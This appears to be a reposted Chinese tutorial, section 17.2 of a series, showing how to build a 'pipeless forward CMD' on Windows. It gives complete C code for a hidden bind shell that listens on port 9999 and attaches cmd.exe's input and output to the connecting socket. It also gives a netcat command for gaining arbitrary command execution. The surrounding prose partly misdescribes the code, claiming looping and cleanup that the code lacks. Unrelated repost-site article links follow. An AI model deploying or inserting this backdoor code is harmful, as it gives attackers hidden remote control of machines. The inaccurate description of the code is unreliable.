17.2 实现无管道正向CMD

这篇具有很好参考价值的文章主要介绍了17.2 实现无管道正向CMD。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

WSASocket 无管道正向CMD,使用WSASocket函数创建一个TCP套接字,并绑定到一个本地地址和端口上。然后使用CreateProcess函数创建一个新的CMD进程,并将标准输入、输出和错误输出重定向到套接字的句柄上。这样,客户端可以通过网络连接到这个套接字,发送CMD命令并获取命令输出结果。这种方式称为无管道正向CMD,因为CMD进程的输入输出是通过套接字而非管道进行的。

WSASocket 函数用于创建重叠IO套接字,重叠 I/O(Overlapped I/O)是一种异步 I/O(Asynchronous I/O)机制,它可以在执行 I/O操作时同时进行其他的操作或处理,提高了系统的并发性和效率。

在传统的同步 I/O 操作中,当一个线程请求进行 I/O 操作时,必须等待操作完成后才能进行其他任务的处理。然而,在网络应用场景下,因为 I/O 操作的延迟较高,线程等待 I/O 完成的时间往往比较长,从而影响系统的资源利用率和性能。

与之相反,重叠 I/O 操作则不需要等待I/O 操作的完成,线程可以在 I/O 操作进行的同时执行其他任务,当 I/O 操作完成后,系统会通过事件通知机制通知线程进行相应的处理。这种机制可以提高系统的并发性和响应速度,使系统更加高效和灵活。

重叠 I/O 通常使用异步 I/O 完成端口(IOCP)机制实现。IOCP 是一种基于事件驱动的 I/O 模型,它提供了一种高效的异步 I/O 操作方式,不仅可以提高系统的并发性和响应速度,还可以减少系统资源的占用,从而达到提高系统性能的效果。

SOCKET WSASocket(
  int                 af,
  int                 type,
  int                 protocol,
  LPWSAPROTOCOL_INFOA lpProtocolInfo,
  GROUP               g,
  DWORD               dwFlags
);

在调用 WSASocket() 函数创建 socket 套接字时,可以通过设置 dwFlags 参数的 WSA_FLAG_OVERLAPPED 标记来启用重叠 I/O 操作模式。启用重叠 I/O 操作模式后,应用程序就可以使用异步 I/O 操作进行数据的读取、发送、接收等操作,同时进行其他的计算和处理操作。

要使用重叠 I/O 操作机制,应用程序需要更改套接字的 I/O 模式。在传统的 I/O 操作模式中,应用程序通过同步的方式向套接字发送或接收数据,然后等待操作完成。而在重叠 I/O 操作模式中,应用程序使用非阻塞的方式进行数据读取和发送操作,不会阻塞线程和进程的执行,同时可以用事件通知机制来处理 I/O 操作的完成。

#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib,"Ws2_32")

int main(int argc, char *argv[])
{
  WSADATA ws;
  SOCKET listenFD;

  // 初始化WSA库
  WSAStartup(MAKEWORD(2, 2), &ws);

  // 启用WSASocket异步IO
  listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
  
  // 监听本机9999端口
  struct sockaddr_in server;
  server.sin_family = AF_INET;
  server.sin_port = htons(9999);
  server.sin_addr.s_addr = ADDR_ANY;

  // 绑定套接字
  bind(listenFD, (sockaddr *)&server, sizeof(server));
  listen(listenFD, 2);

  // 等待客户端连接
  int iAddrSize = sizeof(server);
  SOCKET clientFD = accept(listenFD, (sockaddr *)&server, &iAddrSize);

  STARTUPINFO si;
  ZeroMemory(&si, sizeof(si));

  // 设置隐藏命令行,并绑定输入输出错误流到套接字上
  si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  si.wShowWindow = SW_HIDE;
  si.wShowWindow = SW_SHOWNORMAL;
  si.hStdInput = si.hStdOutput = si.hStdError = (void *)clientFD;

  // 创建CMD进程
  char cmdLine[] = "cmd.exe";
  PROCESS_INFORMATION ProcessInformation;
  CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);
  return 0;
}

如上所示代码使用 WSASocket() 函数创建了一个 TCP 套接字,并使用 bind()listen() 函数将套接字绑定到本地 IP 和端口,然后不断地接受客户端的连接请求并为每个客户端请求启动一个新的 CMD 进程。在 CMD 进程启动后,将其标准输入、输出和错误输出重定向到已连接的套接字上,这将使得客户端可以通过网络接收到 CMD 的输出结果。同时,在 CMD 进程退出后,服务器会等待一段时间然后关闭套接字并释放资源。

读者可自行编译上述代码片段,并运行起来此时程序会启用9999端口等待客户端的连接,客户端可使用netcat程序通过nc -t 127.0.0.1 9999的方式连接到目标进程内,此时读者可实现任意的命令执行;

17.2 实现无管道正向CMD文章来源地址https://www.toymoban.com/news/detail-710991.html

到了这里,关于17.2 实现无管道正向CMD的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Allegro(17.2)——padstack_editor界面详解(4)

    1、Start 该选项卡用于设置焊盘的类型和形状 2、Drill Drill hole Hole type 钻孔类型:圆形和方形 Finished diameter 钻孔直径 ±Tolerance 焊盘钻孔直径允许的公差范围 Non-standard drill 非标准类型钻孔,有7种不同的类型 Hole plating 电镀孔选项 Hole/slot plating Plated 孔壁上锡(通孔有电气属性时

    2024年02月16日
    浏览(77)
  • xcode iOS 17.2 not install, Simulator 手动安装

    参考文档 xcode又又又升级了,升级完成之后不下载最新的 iOS 17 Simulator就不能编译运行了,只能静静的等他下载。但是离谱的是这个居然没有断点续下,每次都要重新下载,眼睁睁的看着下载了4个G然后断掉了从头再来。 自动挡不太行还是要切回手动档模式了。 苹果有个下载

    2024年02月04日
    浏览(54)
  • iOS17.2正式版什么时候发布? 13大新功能细节抢先看

    苹果已经发布了针对开发者的iOS 17.2 Beta测试版,而iOS 17.2正式版预计会在2023年12月发,新版本给iPhone带来不少新功能,下面小编就带大家抢先了解iOS 17.2即将带来的13个新功能亮点细节。 1.手记Journal App上线 全新「手记」 Journal App终于要在iOS 17.2更新中正式上线,这是一款能够

    2024年02月05日
    浏览(57)
  • 从Altium原理图迁移转换到Cadence OrCAD17.2试用方法

    1. OrCAD Capture 作为行业标准的PCB原理图输入方式,是当今世界最流行的原理图输入工具之一,具有简单直观的用户设计界面。不管是用于设计模拟电路、复杂的PCB、FPGA和CPLD、PCB改版的原理图修改还是用于设计层次模块,OrCAD Capture都能为设计师提供快速的设计输入工具。  

    2024年02月10日
    浏览(80)
  • 17.1 隐藏执行CMD命令

    本章内容涉及使用 Socket API 和 CMD 命令行工具实现本地 CMD 命令执行、无管道正向 CMD 和无管道反向 CMD 三种功能。执行本地 CMD 实现使用 CreateProcess 函数创建一个新的 CMD 进程,并将标准输入、输出和错误输出重定向到当前进程的标准输入、输出和错误输出。无管道正向 CMD 和

    2024年02月08日
    浏览(42)
  • Linux通信--构建进程通信的 方案之管道(下)|使用匿名管道实现功能解耦|命名管道实现serve&client通信

    文章目录 一、管道的应用实例-父进程唤醒子进程,子进程执行某种任务 二、命名管道 1.创建一个命名管道 2.匿名管道与命名管道的区别 3.命名管道的打开规则 4.用命名管道实现serverclient通信 后续将源码上传到gitee,上传后修改链接。 管道应用的一个限制就是只能具有共同祖

    2024年02月10日
    浏览(45)
  • oracle的管道函数

    1、管道函数即是可以返回行集合(可以使嵌套表nested table 或数组 varray)的函数,我们可以像查询物理表一样查询它或者将其赋值给集合变量。 2、管道函数为并行执行,在普通的函数中使用dbms_output输出的信息,需要在服务器执行完整个函数后一次性的返回给客户端。如果需

    2024年02月13日
    浏览(37)
  • 数字信号处理翻转课堂笔记17——窗函数法设计FIR滤波器及matlab实现

    对应教材:《数字信号处理(第五版)》西安电子科技大学出版社,丁玉美、高西全著 (1)窗函数法设计FIR线性相位滤波器的原理; (2)加窗效应:加窗对滤波器特性的影响(难点); (3)典型窗函数及其主要特性和参数(重点); (4)窗函数法设计FIR滤波器的步骤(

    2024年01月16日
    浏览(53)
  • 基于Unity ComputeShader 实现正向DIBR

    什么是DIBR? 就是根据1张或者n张带有深度信息的图片,也就是RGBD图,通过插值的方式,生成出虚拟视点下的效果图。 深度信息如果不够精确,效果上,容易出现一些错误。 以及视角的变化,导致一些信息不足,会存在空洞问题。 如果在Unity中怎么实现呢。 通过DIBR算法,在

    2023年04月16日
    浏览(33)
  • 深度解析Nginx正向代理的原理与实现

    目录 前言 1. 什么是正向代理 2. Nginx正向代理的配置 3. Nginx正向代理的实现原理 4. 示例代码 5. 总结 Nginx是一个高性能的Web服务器和反向代理服务器,但它也可以用作正向代理服务器。本文将深入解析Nginx正向代理的原理和实现,并提供相关代码示例。 正向代理是一种代理服务

    2024年04月16日
    浏览(33)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包